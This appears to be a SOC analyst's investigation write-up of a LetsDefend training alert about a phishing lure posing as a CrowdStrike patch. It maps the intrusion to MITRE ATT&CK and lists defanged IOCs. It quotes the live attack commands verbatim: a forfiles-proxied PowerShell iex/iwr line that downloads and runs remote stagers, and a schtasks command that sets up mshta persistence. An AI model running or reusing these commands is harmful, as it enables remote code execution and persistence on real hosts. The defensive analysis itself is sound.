// soc investigation 2026-06-01
SOC303 Indirect Command Execution via Forfiles and PowerShell
letsdefend Medium closed ✓ true positive
mitre/T1566-002 mitre/T1204-002 mitre/T1218-001 mitre/T1240-002 mitre/T1105 mitre/T1053-005 lolbin phishing
analyst verdict TRUE POSITIVE

🔎 What

Indirect command execution via forfiles.exe (LOLBin) used to proxy PowerShell, downloading and executing a two-stage dropper from GitHub. A scheduled task was created for persistence, using mshta.exe to execute an HTA payload every 30 minutes.

🕐 When

Jul 22, 2024, 06:04 AM

🌐 Where

👤 Who

User on Sierra was phished via an email from support[@]crowdstrikereport[.]com, lured into downloading a fake CrowdStrike patch from an S3-hosted zip.

❓ Why

The attacker posed as CrowdStrike support, delivering a malicious zip (cs-patch-19.zip) via a phishing link. The zip contained a script executed via cmd.exe, which called forfiles.exe to indirectly invoke PowerShell — bypassing controls that might flag powershell.exe directly. PowerShell used iex/iwr to pull two stagers from a GitHub user repository and saved update.hta locally. An encoded PowerShell blob then created a scheduled task named MicrosoftEdgeUpdate to run mshta.exe every 30 minutes, establishing persistence.

Key command:

"C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell -c iex (iwr https://raw.githubusercontent.com/ppt0/bhpoc/main/stager1);iwr https://raw.githubusercontent.com/ppt0/bhpoc/main/stager2 -o $env:C:\Users\LetsDefend\Documents\update.hta;"

Scheduled task created:

schtasks.exe /create /Sc minute /f /Tn MicrosoftEdgeUpdate /mo 30 /tr "mshta C:\Users\admin\AppData\Local\Temp\update.hta"

🧩 MITRE ATT&CK

Technique ID Tactic Technique
T1566.002 Initial Access Spearphishing Link
T1204.002 Execution Malicious File
T1218.001 Defense Evasion Mshta
T1202 Defense Evasion Indirect Command Execution
T1105 Command and Control Ingress Tool Transfer
T1053.005 Persistence Scheduled Task

🚨 IOCs

Type Value
Email sender support[@]crowdstrikereport[.]com
Dropper URL hxxps[://]files-ld[.]s3[.]us-east-2[.]amazonaws[.]com/cs-patch-19[.]zip
Stager 1 hxxps[://]raw[.]githubusercontent[.]com/ppt0/bhpoc/main/stager1
Stager 2 hxxps[://]raw[.]githubusercontent[.]com/ppt0/bhpoc/main/stager2
HTA payload C:\Users\LetsDefend\Documents\update[.]hta
Scheduled task name MicrosoftEdgeUpdate
Host IP 172[.]16[.]17[.]86

📊 Analysis Reports